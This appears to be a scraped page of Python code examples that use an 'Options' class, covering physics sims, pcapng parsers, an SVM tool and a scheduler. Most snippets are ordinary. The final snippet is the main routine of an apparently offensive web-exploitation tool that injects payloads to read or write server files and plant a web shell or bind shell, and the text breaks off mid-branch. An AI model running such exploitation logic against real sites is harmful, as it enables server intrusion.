示例#1
0
    def __init__(self):
        self.dlls = {"icudt51.dll",
                "icuin51.dll",
                "icuuc51.dll",
                "libstdc++-6.dll",
                "libwinpthread-1.dll",
                "Qt5Core.dll",
                "Qt5Gui.dll",
                "Qt5Widgets.dll"}

        self.options = Options.get_options()
        Options.validate_options(self.options)
        if self.options.verbose is True:
            self.printer = Printer()
        else:
            self.printer = EmptyPrinter()
示例#2
0
文件: Particle.py 项目: jogi1/energy
class Particle(object):
    def __init__(self, state, position=Vector(0, 0, 0), momentum=Vector(0, 0, 0)):
        self.spawnTime = state.currentTime
        self.state = state
        self.lifeTime = 0
        self.momentum = momentum
        self.position = position
        self.destroyOnCollision = False
        self.physicsName = 'particles'
        self.handlers = []
        self.addHandler(self.handleLifetime)
        self.name = 'particle'
        self.values = Options()
        self.values.add('unattractable', False)
        self.values.add('ignoreGravity', False)
        self.values.add('ignoreDrag', False)

    def __getattr__(self, key):
        return self.values.get(key)

    def spawn(self):
        list = getattr(self.state.physics, self.physicsName)
        list.append(self)

    def addHandler(self, handler):
        self.handlers.append(handler)

    def handleLifetime(self):
        parts = []
        cparts = getattr(self.state.physics, self.physicsName)
        for particle in cparts:
            if particle.lifeTime:
                if self.state.currentTime - particle.spawnTime > particle.lifeTime:
                    continue
            parts.append(particle)
        setattr(self.state.physics, self.physicsName, parts)

    def getTimeToLife(self):
        return self.lifeTime - (self.state.currentTime - self.spawnTime)

    def handle(self):
        for handler in self.handlers:
            handler()
示例#3
0
文件: Ray.py 项目: jogi1/energy
 def __init__(self, state, position=Vector(0, 0, 0), momentum=Vector(0, 0, 0), color=(1, 0, 0, 0.5)):
     self.spawnTime = state.currentTime
     self.state = state
     self.lifetime = 0
     self.position = position
     self.momentum = momentum
     self.values = Options()
     self.values.add('unattractable', False)
     self.values.add('ignoreGravity', False)
     self.values.add('ignoreDrag', False)
     self.physicsName = 'ray'
     self.color = color
示例#4
0
文件: Particle.py 项目: jogi1/energy
 def __init__(self, state, position=Vector(0, 0, 0), momentum=Vector(0, 0, 0)):
     self.spawnTime = state.currentTime
     self.state = state
     self.lifeTime = 0
     self.momentum = momentum
     self.position = position
     self.destroyOnCollision = False
     self.physicsName = 'particles'
     self.handlers = []
     self.addHandler(self.handleLifetime)
     self.name = 'particle'
     self.values = Options()
     self.values.add('unattractable', False)
     self.values.add('ignoreGravity', False)
     self.values.add('ignoreDrag', False)
示例#5
0
    def build(self):
        manager = ScreenManager()
        print("building")
        Window.size = (500, 500)
        manager.add_widget(Login(name='login'))
        manager.add_widget(Connected(name='connected'))
        manager.add_widget(Options(name='options'))
        manager.add_widget(Screen1(name='screen1'))
        manager.add_widget(Screen2(name='screen2'))
        manager.add_widget(Screen3(name='screen3'))
        manager.add_widget(SendMail(name='sendmail'))
        manager.add_widget(Search(name='search'))
        manager.add_widget(Latest(name='latest'))
        #manager.add_widget(Done(name='done'))

        return manager
示例#6
0
文件: Main.py 项目: GINK03/shedskin
 def encode(self, optionsMap):
     inputStream = BufferedInputStream(sys.stdin)
     outputStream = BufferedOutputStreamWrapper(FileOutputStream(sys.stdout))
     standardInput = True
     standardOutput = True
     options = Options.getDefault()
     for keyOriginal in optionsMap:
         key = keyOriginal.lower()
         if key == "fi":
             fileHandle = open(optionsMap[keyOriginal], "rb")
             inputStream = BufferedInputStream(fileHandle)
             standardInput = False
         elif key == "fo":
             fileName = optionsMap[keyOriginal]
             outputStream = BufferedOutputStreamWrapper(
                 DelayedFileOutputStream(fileName))
             standardOutput = False
         elif key == "lzpLowContextLength".lower():
             options.lzpLowContextLength = int(optionsMap[keyOriginal])
         elif key == "lzpLowMaskSize".lower():
             options.lzpLowMaskSize = int(optionsMap[keyOriginal])
         elif key == "lzpHighContextLength".lower():
             options.lzpHighContextLength = int(optionsMap[keyOriginal])
         elif key == "lzpHighMaskSize".lower():
             options.lzpHighMaskSize = int(optionsMap[keyOriginal])
         elif key == "literalCoderOrder".lower():
             options.literalCoderOrder = int(optionsMap[keyOriginal])
         elif key == "literalCoderInit".lower():
             options.literalCoderInit = int(optionsMap[keyOriginal])
         elif key == "literalCoderStep".lower():
             options.literalCoderStep = int(optionsMap[keyOriginal])
         elif key == "literalCoderLimit".lower():
             options.literalCoderLimit = int(optionsMap[keyOriginal])
         else:
             self.err("Not suitable or unknown option: " + keyOriginal)
             return
     if not options.isValid():
         self.err("Wrong encoding options combination.")
         return
     Coder.encode(inputStream, outputStream, 65536, options)
     outputStream.flush()
     if not standardInput:
         inputStream.close()
     if not standardOutput:
         outputStream.close()
示例#7
0
 def __init__(self, window):
     self.wn = window
     self.wn.title("Registry")
     self.wn.geometry("1265x545+200+100")
     self.tabs = ttk.Notebook(window)
     self.notes = Frame(self.tabs)
     self.contacts = Frame(self.tabs)
     self.password = Frame(self.tabs)
     self.options = Frame(self.tabs)
     self.tabs.add(self.notes, text="Notes")
     self.tabs.add(self.contacts, text="Contacts")
     self.tabs.add(self.password, text="Passwords")
     self.tabs.add(self.options, text="Options")
     self.tabs.pack(expand=1, fill='both')
     NotesManager(self.notes)
     ContactManager(self.contacts)
     PasswordManager(self.password)
     Options(self.options, self.wn)
示例#8
0
文件: Main.py 项目: GINK03/shedskin
 def printHelp(self):
     self.err("Syntax: command [option=value]*")
     self.err("Commands:")
     self.err("\t[no command]  - print help and show GUI")
     self.err("\tencode        - encode input")
     self.err("\tdecode        - decode compressed stream")
     self.err("\tshowOptions   - read and show compression options only")
     self.err("General options:")
     self.err("\tfi=fileName   - read from file `fileName` (all modes)")
     self.err(
         "\tfo=fileName   - write to file `fileName` (encode and decode)")
     self.err("Encoding only options (with default values):")
     options = Options.getDefault()
     self.err("\tlzpLowContextLength=" + str(options.lzpLowContextLength))
     self.err("\tlzpLowMaskSize=" + str(options.lzpLowMaskSize))
     self.err("\tlzpHighContextLength=" + str(options.lzpHighContextLength))
     self.err("\tlzpHighMaskSize=" + str(options.lzpHighMaskSize))
     self.err("\tliteralCoderOrder=" + str(options.literalCoderOrder))
     self.err("\tliteralCoderInit=" + str(options.literalCoderInit))
     self.err("\tliteralCoderStep=" + str(options.literalCoderStep))
     self.err("\tliteralCoderLimit=" + str(options.literalCoderLimit))
示例#9
0
def printCSGMain(disks, fname):
    o = Options()
    cubeEdgeLength = o.getProperty('cubeEdgeLength')
    polygonalDiskRadius = o.getProperty('polygonalDiskRadius')
    polygonalDiskThickness = o.getProperty('polygonalDiskThickness')
    intercalatedStackNumber = o.getProperty('intercalatedStackNumber')
    intercalatedInterlayerThickness = o.getProperty(
        'intercalatedInterlayerThickness')
    f = open(fname, 'w')
    f.write('algebraic3d;\n')
    string = 'solid cell = orthobrick(0, 0, 0; {0}, {0}, {0});\n'
    f.write(string.format(cubeEdgeLength))
    matrixString = 'solid matrix = cell'
    for i, disk in enumerate(disks):
        matrixString += ' and not Disk' + str(i)
        randomnessX = 0
        randomnessY = 0
        randomnessZ = 0
        x = disk.mainAxe().x()
        y = disk.mainAxe().y()
        z = disk.mainAxe().z()
        l = polygonalDiskThickness
        cosThetaX = x / l
        cosThetaY = y / l
        cosThetaZ = z / l
        randomnessX += orderParameter(cosThetaX)
        randomnessY += orderParameter(cosThetaY)
        randomnessZ += orderParameter(cosThetaZ)
        disk.printToCSG(f, 'Disk' + str(i))
    f.write(matrixString + ';\n')
    f.write('tlo matrix -transparent -maxh=0.3;\n')
    print('Randomness along X axe: {}'.format(randomnessX / len(disks)))
    print('Randomness along Y axe: {}'.format(randomnessY / len(disks)))
    print('Randomness along Z axe: {}'.format(randomnessZ / len(disks)))
    singleDiskVolume = math.pi * polygonalDiskRadius**2 * polygonalDiskThickness
    interlayerVolume = math.pi * polygonalDiskRadius**2 * intercalatedInterlayerThickness
    interlayerVolume *= intercalatedStackNumber - 1
    diskVolume = len(disks) * singleDiskVolume
    diskVolume += len(disks) / intercalatedStackNumber * interlayerVolume
    allVolume = cubeEdgeLength**3
    part = diskVolume / allVolume
    print('Volume part of fillers is {}'.format(part))
示例#10
0
def get_options():
    """
    Options specific to the legend.
    """
    opt = Options()
    opt.add('visible', True, "Control the visibility of the legend.")
    opt.add('background', "Set the legend background color (defaults to graph background color).",
            vtype=list)
    opt.add('opacity', 0, "The legend background opacity.")
    opt.add('label_color', [1, 1, 1], "The legend text color.")
    opt.add('label_font_size', "The legend label test size in points.", vtype=int)
    opt.add('point', "The location of the legend anchor point.", vtype=list)
    opt.add('horizontal_alignment', 'right', "The horizontal alignment of the legend with respect "
                                             "to the anchor point.",
            vtype=str, allow=['left', 'center', 'right'])
    opt.add('vertical_alignment', 'top', "The vertical alignment of the legend with respect to the "
                                         "anchor point.",
            vtype=str, allow=['top', 'bottom', 'center'])
    opt.add('border', False, "Show the legend border.")
    opt.add('border_color', [1, 1, 1], "The border color.")
    opt.add('border_opacity', 1, "The border opacity.")
    opt.add('border_width', "The border width.", vtype=float)
    return opt
示例#11
0
        self.message_counter = 0

    def run(self):
        receiver = Receiver(self.options)
        reactor = Container(receiver)

        thread = threading.Thread(target=reactor.run)
        thread.daemon = True
        thread.start()

        sleep(self.options.timeout)

        self.message_counter = receiver.message_counter
        print("-I- Received in total " + str(self.message_counter) +
              " messages")


if __name__ == "__main__":
    hostname = "ecag-fixml-simu1.deutsche-boerse.com"
    port = 10170
    accountName = "ABCFR_ABCFRALMMACC1"
    accountPrivateKey = "ABCFR_ABCFRALMMACC1.pem"
    accountPublicKey = "ABCFR_ABCFRALMMACC1.crt"
    brokerPublicKey = "ecag-fixml-simu1.deutsche-boerse.com.crt"
    timeout = 10

    opts = Options(hostname, port, accountName, accountPublicKey,
                   accountPrivateKey, brokerPublicKey, timeout)
    br = BroadcastReceiver(opts)
    br.run()
示例#12
0
class InterfaceStatistics:
    def __init__(self, section):
        self.section = section
        self.block_type_int = INTERFACE_STATISTICS_BLOCK_INT
        self.block_type_packed = struct.pack(
            "%sI" % (self.section.sectionHeader.endianness),
            self.block_type_int)

        self.block_total_length_first_int = 0
        self.block_total_length_first_packed = "\x00\x00\x00\x00"

        self.interface_id_packed = "\x00\x00\x00\x00"
        self.interface_id_int = 0
        self.timestamp_high_packed = "\x00\x00\x00\x00"
        self.timestamp_high_int = 0
        self.timestamp_low_packed = "\x00\x00\x00\x00"
        self.timestamp_low_int = 0

        self.options = None
        self.block_total_length_last_int = 0
        self.block_total_length_last_packed = "\x00\x00\x00\x00"

        self.block_size = INTERFACE_STATISTICS_BLOCK_BODY_SIZE_FIXED

    def Read(self, inp):
        self.block_total_length_first_packed = inp.read(4)
        self.block_total_length_first_int = struct.unpack(
            "%sI" % (self.section.sectionHeader.endianness),
            self.block_total_length_first_packed)[0]

        self.interface_id_packed = inp.read(4)
        self.interface_id_int = struct.unpack(
            "%sI" % (self.section.sectionHeader.endianness),
            self.interface_id_packed)[0]

        self.timestamp_high_packed = inp.read(4)
        self.timestamp_high_int = struct.unpack(
            "%sI" % (self.section.sectionHeader.endianness),
            self.timestamp_high_packed)[0]

        self.timestamp_low_packed = inp.read(4)
        self.timestamp_low_int = struct.unpack(
            "%sI" % (self.section.sectionHeader.endianness),
            self.timestamp_low_packed)[0]

        self.timestamp = (
            self.timestamp_high_int << 32) | self.timestamp_low_int

        if self.block_total_length_first_int != self.block_size:
            self.options = Options(self.section, self.block_type_int)
            self.options.Read(inp)
            self.block_size += self.options.size

        self.block_total_length_last_packed = inp.read(4)
        self.block_total_length_last_int = struct.unpack(
            "%sI" % (self.section.sectionHeader.endianness),
            self.block_total_length_last_packed)[0]

    def __repr__(self):
        ret = ""

        ret += "Block Type: 0x%08x (Interface Statistics)\n" % (
            self.block_type_int)
        ret += "Block Total Length First: %d\n" % (
            self.block_total_length_first_int)
        ret += "Block Total Length Last: %d\n" % (
            self.block_total_length_last_int)
        ret += "Interface Id: %d\n" % (self.interface_id_int)
        ret += "Timestamp High: 0x%08x (%d)\n" % (self.timestamp_high_int,
                                                  self.timestamp_high_int)
        ret += "Timestamp Low: 0x%08x (%d)\n" % (self.timestamp_low_int,
                                                 self.timestamp_low_int)
        #ret+= "Timestamp: %s\n" % ()
        if self.options:
            ret += "Options\n"
            ret += "\t%s\n" % (("%s" % self.options).replace("\n", "\n\t"))

        return ret[:-1]
示例#13
0
class svmTool(Thread):
	"""Main class"""

	opts = None
	"""Options object"""

	def cmdLineOptions(self):
		"""read the options form the command line"""
		self.opts = Options()
		self.opts.process()
		return self
		
	def run(self):
		"""Thread.run()"""
		try:
			if (self.opts.action == "gui"):
				import svmToolGui
				svmToolGui.gui = svmToolGui.svmToolGui(self.opts)
				svmToolGui.gui.run()
			else:	
				log("SVM Tool {0}".format(version))
				log("Using libSVM: {0}".format(self.opts.libsvm_path))
				log("\tsvm-scale: {0}".format(self.opts.svm_scale_path))
				log("\tsvm-train: {0}".format(self.opts.svm_train_path))
				log("\tsvm-predict: {0}".format(self.opts.svm_predict_path))
				log("\tsubset.py: {0}".format(self.opts.subset_py))
				if (self.opts.gnuplot_path != None):
					log("Using gnuplot: {0}".format(self.opts.gnuplot_path))
				if (self.opts.training_file != None):
					log("Training file: {0}".format(self.opts.training_file))
				if (self.opts.test_file != None):
					log("Test file: {0}".format(self.opts.test_file))
				if (self.opts.model_file != None):
					log("Model file: {0}".format(self.opts.model_file))
				if (self.opts.output_file != None):
					log("Output file: {0}".format(self.opts.output_file))
				

				if (self.opts.action == "crossValidation"):
					log("Starting cross validation")
					log("C-Range (start,stop, step): {0}".format(self.opts.c_range))
					log("Gamma-Range (start,stop, step): {0}".format(self.opts.g_range))
					log("Division depth: {0}".format(self.opts.division_depth))
					log("Division factor: {0}".format(self.opts.division_factor))
					log("Minimum subset size: {0}".format(self.opts.subset_size))
					log("Worker count: {0}".format(self.opts.worker))
					if (self.opts.additional_arguments != None and self.opts.additional_arguments != ""):
						log("Additional arguements: {0}".format(self.opts.additional_arguments))
					crossValidate(self.opts)
				elif (self.opts.action == "train"):
					log("Trainig SVM")
					log("C value: {0}".format(self.opts.c_value))
					log("Gamma value: {0}".format(self.opts.g_value))
					if (self.opts.additional_arguments != ""):
						log("Additional arguements: {0}".format(self.opts.additional_arguments))
					train(self.opts)
				elif (self.opts.action == "test"):
					log("Testing SVM")
					if (self.opts.additional_arguments != ""):
						log("Additional arguements: {0}".format(self.opts.additional_arguments))
					predict(self.opts)
				elif (self.opts.action == "merge"):
					log("Merging files")
					mergeFiles(self.opts.training_file, self.opts.output_file+".data")
					mergeFiles(self.opts.test_file, self.opts.output_file+".test")
				elif (self.opts.action == "subset"):
					log("Generating subset")
					log("Subset size: {}".format(self.opts.subset_size))
					subset(self.opts, self.opts.subset_size, self.opts.training_file, \
						self.opts.output_file+".subset_"+str(self.opts.subset_size), \
						self.opts.output_file+".restset");
				log("All done")
			
		except Exception as e:
			log("An exception occured:")
			log("\t" + e.message)
			log("Here's the stack:\n")
			(t,v,s) = sys.exc_info()
			traceback.print_tb(s)
		
		return self
示例#14
0
import sys
from snake_env import SnakeEnv
import numpy as np
from DQNetwork import DQNetwork
from Results import Results, test
from Options import Options
import pickle
import time

opt = Options().parse()

nrow, ncol = opt.gridsize, opt.gridsize
n_channels = opt.n_ch

if n_channels == 1:
    env = SnakeEnv(nrow, ncol, colors='gray')
elif n_channels == 3:
    env = SnakeEnv(nrow, ncol, colors='rgb')

n_train = opt.n_train
n_episodes = opt.n_episodes
n_batch = opt.n_batch
imax = opt.imax
min_epsilon = opt.min_epsilon
N_memory = opt.n_memory

model = DQNetwork(4, (n_channels, nrow, ncol), conv=opt.conv)

res = Results()

loadModel = opt.load
示例#15
0
文件: start.py 项目: vog3lm/pi.muk
    from Video import Cameras
    Cameras().decorate({'emitter': application})

    from Gpio import Gpios
    Gpios().decorate({'emitter': application})  # .create().start()

    from Firebase import FirebaseServer
    server = FirebaseServer().decorate({
        'emitter': application
    }).configurate()  #.create()

    from Process import ProcessLogger, ProcessEngine
    logger = ProcessLogger().decorate({'emitter': application})
    engine = ProcessEngine().decorate({
        'emitter':
        application,
        'id':
        'app',
        'services': [
            'create-socket', 'create-gpio', 'create-cameras',
            'create-firebase-server', 'create-remote-driver'
        ],
        'kills': ['kill-gpio', 'kill-socket', 'kill-cameras']
    })  # 'kill-cameras' (done by process shell)

    from Options import Options
    Options().decorate({'emitter': application}).create().deliver()

    engine.create()
    exit(0)
示例#16
0
class svmTool(Thread):
    """Main class"""

    opts = None
    """Options object"""
    def cmdLineOptions(self):
        """read the options form the command line"""
        self.opts = Options()
        self.opts.process()
        return self

    def run(self):
        """Thread.run()"""
        try:
            if (self.opts.action == "gui"):
                import svmToolGui
                svmToolGui.gui = svmToolGui.svmToolGui(self.opts)
                svmToolGui.gui.run()
            else:
                log("SVM Tool {0}".format(version))
                log("Using libSVM: {0}".format(self.opts.libsvm_path))
                log("\tsvm-scale: {0}".format(self.opts.svm_scale_path))
                log("\tsvm-train: {0}".format(self.opts.svm_train_path))
                log("\tsvm-predict: {0}".format(self.opts.svm_predict_path))
                log("\tsubset.py: {0}".format(self.opts.subset_py))
                if (self.opts.gnuplot_path != None):
                    log("Using gnuplot: {0}".format(self.opts.gnuplot_path))
                if (self.opts.training_file != None):
                    log("Training file: {0}".format(self.opts.training_file))
                if (self.opts.test_file != None):
                    log("Test file: {0}".format(self.opts.test_file))
                if (self.opts.model_file != None):
                    log("Model file: {0}".format(self.opts.model_file))
                if (self.opts.output_file != None):
                    log("Output file: {0}".format(self.opts.output_file))

                if (self.opts.action == "crossValidation"):
                    log("Starting cross validation")
                    log("C-Range (start,stop, step): {0}".format(
                        self.opts.c_range))
                    log("Gamma-Range (start,stop, step): {0}".format(
                        self.opts.g_range))
                    log("Division depth: {0}".format(self.opts.division_depth))
                    log("Division factor: {0}".format(
                        self.opts.division_factor))
                    log("Minimum subset size: {0}".format(
                        self.opts.subset_size))
                    log("Worker count: {0}".format(self.opts.worker))
                    if (self.opts.additional_arguments != None
                            and self.opts.additional_arguments != ""):
                        log("Additional arguements: {0}".format(
                            self.opts.additional_arguments))
                    crossValidate(self.opts)
                elif (self.opts.action == "train"):
                    log("Trainig SVM")
                    log("C value: {0}".format(self.opts.c_value))
                    log("Gamma value: {0}".format(self.opts.g_value))
                    if (self.opts.additional_arguments != ""):
                        log("Additional arguements: {0}".format(
                            self.opts.additional_arguments))
                    train(self.opts)
                elif (self.opts.action == "test"):
                    log("Testing SVM")
                    if (self.opts.additional_arguments != ""):
                        log("Additional arguements: {0}".format(
                            self.opts.additional_arguments))
                    predict(self.opts)
                elif (self.opts.action == "merge"):
                    log("Merging files")
                    mergeFiles(self.opts.training_file,
                               self.opts.output_file + ".data")
                    mergeFiles(self.opts.test_file,
                               self.opts.output_file + ".test")
                elif (self.opts.action == "subset"):
                    log("Generating subset")
                    log("Subset size: {}".format(self.opts.subset_size))
                    subset(self.opts, self.opts.subset_size, self.opts.training_file, \
                     self.opts.output_file+".subset_"+str(self.opts.subset_size), \
                     self.opts.output_file+".restset")
                log("All done")

        except Exception as e:
            log("An exception occured:")
            log("\t" + e.message)
            log("Here's the stack:\n")
            (t, v, s) = sys.exc_info()
            traceback.print_tb(s)

        return self
示例#17
0
	def cmdLineOptions(self):
		"""read the options form the command line"""
		self.opts = Options()
		self.opts.process()
		return self
示例#18
0
def get_options():
    """
    Returns options for vtk fonts.
    """
    opt = Options()
    opt.add('text_color', [1, 1, 1], "The text color.")
    opt.add('text_shadow', False, "Toggle text shadow.")
    opt.add('justification', 'left', "Set the font justification.",
            allow=['left', 'center', 'right'])
    opt.add('vertical_justification', 'bottom', "The vertical text justification.",
            allow=['bottom', 'middle', 'top'])
    opt.add('text_opacity', 1, "The text opacity.", vtype=float)
    opt.add('text', None, "The text to display.", vtype=str)
    opt.add('font_size', 24, "The text font size.", vtype=int)
    return opt
示例#19
0
class ScheduleCore:
    def __init__(self):
        self.database = Database()
        self.options = None

    def addUser(self, userid, calURL):
        self.database.addUser(userid, calURL)

    def updateUser(self, userid, newCalURL):
        self.database.updateUser(userid, newCalURL)

    # Processes incoming requests to schedule
    def processRequest(self,
                       users,
                       dateRange,
                       workingHours,
                       meetingLength,
                       description,
                       idealHours=(9, 17)):
        # Gather calendar URLs from userids
        calURLS = []

        for user in users:
            calURLS.append(self.database.getCal(user))

        # Parse calendar URLS to extract available blocks
        availableBlocks = getAvailableBlocks(calURLS, dateRange, workingHours)

        # Split blocks into meeting slots, categorised by priority
        slots = getSlots(availableBlocks, meetingLength,
                         (idealHours[0], idealHours[1]))

        idealSlots = slots[0]
        otherSlots = slots[1]

        # Instantiate Options class to handle selecting options to send
        self.options = Options(idealSlots, otherSlots)
        self.description = description

        # Send first options
        return self.options.getOptions()

    def getMoreOptions(self):
        return self.options.getOptions()

    def getFinalSlot(self, unavailableSlots):
        possibleSlots = self.getOptions() - set(unavailableSlots)

        if possibleSlots:
            return possibleSlots[0]
        else:
            return None


# date_range = (datetime(2019, 9, 30, 0, 0), datetime(2019, 10, 10, 0, 0))  # hard-coded test date range
# time_range = (time(6, 0), time(19, 0))  # hard-coded test time range
#
# sc = ScheduleCore()
# three = sc.processRequest([1,2], date_range, time_range, timedelta(hours=1), 'random')
#
# for o in three:
#     print(o)
示例#20
0
def get_options():
    """
    Returns options for vtk fonts.
    """
    opt = Options()
    opt.add('text_color', [1, 1, 1], "The text color.")
    opt.add('text_shadow', False, "Toggle text shadow.")
    opt.add('justification',
            'left',
            "Set the font justification.",
            allow=['left', 'center', 'right'])
    opt.add('vertical_justification',
            'bottom',
            "The vertical text justification.",
            allow=['bottom', 'middle', 'top'])
    opt.add('text_opacity', 1, "The text opacity.", vtype=float)
    opt.add('text', None, "The text to display.", vtype=str)
    opt.add('font_size', 24, "The text font size.", vtype=int)
    return opt
from Creator_lammpsdata import LammpsDataGenerator
from Process_output import Process_output
from Process_COM import Process_COM
from Options import Options
from Prepare_jmol import Prepare_jmol
import Modify_template
from subprocess import Popen, PIPE
from math import *

# open the XML file containing the run parameters
io = Rappture.library(sys.argv[1])

#########################################################
# Get input values from Rappture
#########################################################
options = Options()

# get input value for input.boolean(value37)
# returns value as string "yes" or "no"
options.periodic_ = io.get('input.boolean(value37).current') == 'yes'

options.limitconcentration_ = io.get('input.boolean(value56).current') == 'yes'

options.concentration_ = float(io.get('input.number(value57).current'))

# get input value for input.integer(value38)
options.percentred_ = float(io.get('input.number(value38).current'))

# get input value for input.number(value36)
options.numunits_ = int(io.get('input.integer(value36).current'))
示例#22
0
文件: Ray.py 项目: jogi1/energy
class Ray(object):

    allRays = []

    def __init__(self, state, position=Vector(0, 0, 0), momentum=Vector(0, 0, 0), color=(1, 0, 0, 0.5)):
        self.spawnTime = state.currentTime
        self.state = state
        self.lifetime = 0
        self.position = position
        self.momentum = momentum
        self.values = Options()
        self.values.add('unattractable', False)
        self.values.add('ignoreGravity', False)
        self.values.add('ignoreDrag', False)
        self.physicsName = 'ray'
        self.color = color

    def __getattr__(self, key):
        return self.values.get(key)

    def spawn(self):
        list = getattr(self.state.physics, self.physicsName)
        list.append(self)
        allRays.append(self)

    def addHandler(self, handler):
        self.handlers.append(handler)

    def handleLifetime(self):
        parts = []
        cparts = getattr(self.state.physics, self.physicsName)
        for particle in cparts:
            if particle.lifeTime:
                if self.state.currentTime - particle.spawnTime > particle.lifeTime:
                    continue
            parts.append(particle)
        setattr(self.state.physics, self.physicsName, parts)

    def getTimeToLife(self):
        return self.lifeTime - (self.state.currentTime - self.spawnTime)

    def handle(self):
        for handler in self.handlers:
            handler()

    def drawAll(self):
        for ray in self.allRays:
            ray.draw()

    def draw(self):
        tics = 300
        position = self.position
        self.momentum.scale(0.1)

        glColor4f(*self.color)
        glBegin(GL_LINE_STRIP)
        glVertex3f(*position.getTuplet())
        for x in range(tics):
            timescale = self.state.gametimeScale
            self.state.physics.PhysicsGravity(self)
            for attractor in self.state.physics.attractors:
                self.state.physics.PhysicsAttraction(attractor, self)
            self.state.physics.PhysicsApplyMomentum(self)
            position = position + self.momentum.scale(timescale *  1/self.state.fps, True)
            glVertex3f(*position.getTuplet())

        glEnd()
示例#23
0
class EnhancedPacket:
	def __init__(self,section):
		self.section = section
		self.block_type_int = ENHANCED_PACKET_BLOCK_INT
		self.block_type_packed = struct.pack("%sI" % (self.section.sectionHeader.endianness),self.block_type_int)

		self.block_total_length_first_int = 0
		self.block_total_length_first_packed = "\x00\x00\x00\x00"

		self.interface_id_packed = "\x00\x00\x00\x00"
		self.interface_id_int = 0
		self.timestamp_high_packed = "\x00\x00\x00\x00"
		self.timestamp_high_int = 0
		self.timestamp_low_packed = "\x00\x00\x00\x00"
		self.timestamp_low_int = 0
		self.captured_len_packed = "\x00\x00\x00\x00"
		self.captured_len_int = 0
		self.packet_len_packed = "\x00\x00\x00\x00"
		self.packet_len_int = 0
		
		self.options = None
		self.block_total_length_last_int = 0
		self.block_total_length_last_packed = "\x00\x00\x00\x00"

		self.block_size = ENHANCED_PACKET_BLOCK_BODY_SIZE_FIXED

	def Read(self,inp):
		self.block_total_length_first_packed = inp.read(4)
		self.block_total_length_first_int = struct.unpack("%sI" % (self.section.sectionHeader.endianness),self.block_total_length_first_packed)[0]

		self.interface_id_packed = inp.read(4)
		self.interface_id_int = struct.unpack("%sI"%(self.section.sectionHeader.endianness),self.interface_id_packed)[0]

		self.timestamp_high_packed = inp.read(4)
		self.timestamp_high_int = struct.unpack("%sI"%(self.section.sectionHeader.endianness),self.timestamp_high_packed)[0]

		self.timestamp_low_packed = inp.read(4)
		self.timestamp_low_int = struct.unpack("%sI"%(self.section.sectionHeader.endianness),self.timestamp_low_packed)[0]
		
		self.timestamp = (self.timestamp_high_int<<32)|self.timestamp_low_int

		self.captured_len_packed = inp.read(4)
		self.captured_len_int = struct.unpack("%sI"%(self.section.sectionHeader.endianness),self.captured_len_packed)[0]
		
		self.packet_len_packed = inp.read(4)
		self.packet_len_int = struct.unpack("%sI"%(self.section.sectionHeader.endianness),self.packet_len_packed)[0]

		if self.captured_len_int > self.block_total_length_first_int-ENHANCED_PACKET_BLOCK_BODY_SIZE_FIXED:
			Warning("EnhancedPacket.Read : self.captured_len_int (%d) exceeds the block boundaries (block size: %d-%d)" % (self.captured_len_int,self.block_total_length_first_int,ENHANCED_PACKET_BLOCK_BODY_SIZE_FIXED))
			self.captured_len_int = self.block_total_length_first_int-ENHANCED_PACKET_BLOCK_BODY_SIZE_FIXED

		self.packet_data = inp.read(self.captured_len_int)
		self.block_size += len(self.packet_data)

		#Align to 32 bit boundary
		while self.block_size%4 != 0 :
			self.block_size += 1
			inp.read(1)

		if self.block_total_length_first_int != self.block_size:
			self.options = Options(self.section,self.block_type_int)
			self.options.Read(inp)
			self.block_size += self.options.size

		self.block_total_length_last_packed = inp.read(4)
		self.block_total_length_last_int = struct.unpack("%sI" % (self.section.sectionHeader.endianness),self.block_total_length_last_packed)[0]

	def Write(self,out):
		out.write(self.block_total_length_first_packed)
		out.write(self.interface_id_packed)
		out.write(self.timestamp_high_packed)
		out.write(self.timestamp_low_packed)
		out.write(self.captured_len_packed)
		out.write(self.packet_len_packed)
		out.write(self.packet_data)
		if self.options:
			self.options.Write(out)
		out.write(self.block_total_length_last_packed)

	def __repr__(self):
		ret=""

		ret+="Block Type: 0x%08x (Enhanced Packet)\n" % (self.block_type_int) 
		ret+="Block Total Length First: %d\n" % (self.block_total_length_first_int)
		ret+="Block Total Length Last: %d\n" % (self.block_total_length_last_int)
		ret+="Interface Id: %d\n" % (self.interface_id_int)
		ret+="Timestamp High: 0x%08x (%d)\n" % (self.timestamp_high_int,self.timestamp_high_int)
		ret+="Timestamp Low: 0x%08x (%d)\n" % (self.timestamp_low_int,self.timestamp_low_int)
		#ret+= "Timestamp: %s\n" % ()
		ret+="Captured Length: %d\n" % (self.captured_len_int)
		ret+="Packet Length: %d\n" % (self.packet_len_int)
		ret+="Packet Data\n\t%s\n" % (HexDump(self.packet_data).replace("\n","\n\t"))
		if self.options:
			ret+="Options\n"
			ret+="\t%s\n" % (("%s"%self.options).replace("\n","\n\t"))

		return ret[:-1]
示例#24
0
def main():
	from formfinder import FRMFind
	from Options import Options
	from vulndb import VulnDB
	from fuzzer import Attack
	from exploitbuilder import xbuilder
	from crawler import Crawl
	opt,arg = Options().init()
	if (opt.clear_vuln_db == True):
		VulnDB().clear_vulns()
	if opt.url is not None: 
		#have we exploited this before?
		if opt.forms == True: 
			try:
				if opt.basicAuth is not None:
					getForm,postForm = FRMFind().search(opt.url,opt.basicAuth,None)
				elif opt.cookieValue is not None:
					getForm,postForm = FRMFind().search(opt.url,None,opt.basicAuth)
				else: getForm,postForm = FRMFind().search(opt.url,None,None)
			except:
				return
			for form in getForm.keys(): 
				vulnUrl = "%s//%s/%s" % (opt.url.split("/")[0],opt.url.split("/")[2],form[:-1])
				isVuln,vulnDeets = VulnDB().is_vuln('form',url=vulnUrl)
				if isVuln is True:
					print "URL has been exploited previously.. resuming attack"
					vulnTarget =  "%s?%s=%s%s" % (vulnDeets[0],vulnDeets[1],vulnDeets[2],vulnDeets[3])
					function = xbuilder().find_func(vulnTarget)
					if (opt.fsRead != None): 
						url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_read=opt.fsRead))
						print xbuilder().inject(url,seed)[1]
						return
					if (opt.fsWrite != None): 
						url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,fs_write=opt.fsWrite.split(":")[0],location=opt.fsWrite.split(":")[1]))
						print xbuilder().inject(url,seed)[1]
						return
					if (opt.osShell != None): 
						url,seed = xbuilder().return_bypass_exploit(vulnTarget,xbuilder().return_payload(vulnTarget,function,web_shell=opt.osShell))
						print xbuilder().inject(url,seed)[1]
						return
					if (opt.bindShell != None): 
